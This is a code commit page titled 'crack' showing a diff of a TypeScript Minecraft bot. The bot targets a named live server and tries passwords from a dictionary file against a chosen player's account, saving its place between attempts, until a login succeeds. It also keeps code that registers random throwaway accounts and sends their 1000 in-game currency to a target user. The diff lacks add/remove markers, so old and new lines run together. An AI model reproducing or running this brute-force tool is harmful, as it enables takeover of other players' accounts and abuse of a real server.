Commit 7f8eb40f authored by nanahira's avatar nanahira

crack

parent eb73da32
......@@ -114,3 +114,4 @@ Dockerfile
.idea
stack
/dict.txt
/data
......@@ -108,3 +108,4 @@ dist
/config.yaml
.idea
/dict.txt
/data
import { Bot, ChatMessage, createBot } from "mineflayer";
import crypto from "crypto";
import { delay } from "q";
import { messageLoggedIn, messageRegisterFailed, messageWaitForLogin, messageWaitForRegister } from "./constants";
import { messageLoggedIn, messageLoginFailed, messageRegisterFailed, messageWaitForLogin, messageWaitForRegister } from "./constants";
import { Minecraft } from "./minecraft";
import { promises as fs } from "fs";
import { last, lastIndexOf } from "lodash";
import Logger from "bunyan";
let exitCode = 1;
function randomString(len: number) {
return crypto.randomBytes(Math.ceil(len / 2)).toString('hex').slice(0, len);
};
function getChatMessageTexts(rawMessage: ChatMessage): string[] {
const messageObjects = (rawMessage.json as any).extra as any[];
if (!messageObjects) {
return [];
}
return messageObjects.map(messageObject => messageObject.text as string);
async function createMinecraftInstance(username: string) {
const mc = new Minecraft({
username,
host: 'wolfxmc.org',
port: 25565
}, Logger.WARN);
await mc.waitForMessage(messageWaitForLogin, [messageWaitForRegister]);
return mc;
}
type MessageQueueMap = Map<string, (message: string) => void>;
function waitForMessage(messageWaitQueue: MessageQueueMap, messageToResolve: string, messagesToReject?: string[]): Promise<string> {
return new Promise((resolve, reject) => {
messageWaitQueue.set(messageToResolve, (message: string) => {
resolve(message);
});
if (messagesToReject) {
for (let messageToReject of messagesToReject) {
messageWaitQueue.set(messageToReject, (message: string) => {
reject(message);
});
}
}
});
async function tryPassword(mc: Minecraft, password: string) {
mc.bot.chat(`/l ${password}`);
try {
await mc.waitForMessage(messageLoggedIn, messageLoginFailed);
return true;
} catch (e) {
return false;
}
}
async function runOnce(targetUser: string) {
const username = randomString(10);
const password = randomString(8);
const messageWaitQueue: MessageQueueMap = new Map();
console.error(`Creating bot ${username} ${password}.`);
const bot = createBot({
username,
host: 'wolfxmc.org',
port: 25565
});
bot.on('message', (message) => {
const messageLines = getChatMessageTexts(message);
for (let line of messageLines) {
console.error(`Message: ${line}`);
if (line.match(/已发送到/)) {
line = '_send_success';
}
if (messageWaitQueue.has(line)) {
const fun = messageWaitQueue.get(line);
messageWaitQueue.delete(line);
fun(line);
}
}
});
bot.on('end', () => {
console.error(`Bot disconnected.`);
process.exit(exitCode);
});
let lastSequence = 0;
try {
lastSequence = JSON.parse(await fs.readFile("./data/last.json", "utf-8")).lastSequence;
console.log(`Will start from ${lastSequence}.`);
} catch (e) {
console.log(`Will start from beginning.`);
}
const dict = (await fs.readFile("./data/dict.txt", "utf-8")).split("\n");
let mc: Minecraft;
//await waitBotLogin(bot);
//await delay(1000);
try {
console.error(`Waiting for connect.`);
await waitForMessage(messageWaitQueue, messageWaitForRegister, [messageWaitForLogin]);
console.error(`Registering.`);
bot.chat(`/reg ${password} ${password}`);
await waitForMessage(messageWaitQueue, messageLoggedIn, messageRegisterFailed);
console.error(`Paying 1000 to ${targetUser}.`);
bot.chat(`/pay ${targetUser} 1000`);
await waitForMessage(messageWaitQueue, '_send_success');
console.log(`Success.`);
exitCode = 0;
for (let i = lastSequence; i < dict.length; ++i) {
if (!mc || mc.died) {
console.log("Connecting.");
mc = await createMinecraftInstance(targetUser);
}
await fs.writeFile("./data/last.json", JSON.stringify({ lastSequence: i }));
const password = dict[i];
console.log(`Trying password ${password}`)
if (await tryPassword(mc, password)) {
console.log(`Success. Username: ${targetUser} Password: ${password}`);
break;
}
}
} catch (e) {
console.log(`Failed: ${e.toString()}`);
exitCode = 2;
} finally {
bot.end();
mc.bot.end();
console.error(`Finished.`);
}
}
......
import { Bot, BotOptions, ChatMessage, createBot } from "mineflayer";
import Bunyan from "bunyan";
import Bunyan, { LogLevel } from "bunyan";
export type MessageQueueMap = Map<string, (message: string) => void>;
......@@ -33,8 +33,8 @@ export class Minecraft {
}
}
}
constructor(options: BotOptions) {
this.log = Bunyan.createLogger({ name: options.username });
constructor(options: BotOptions, debugLevel?: LogLevel) {
this.log = Bunyan.createLogger({ name: options.username, level: debugLevel });
this.options = options;
this.bot = createBot(options);
this.messageWaitQueue = new Map();
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment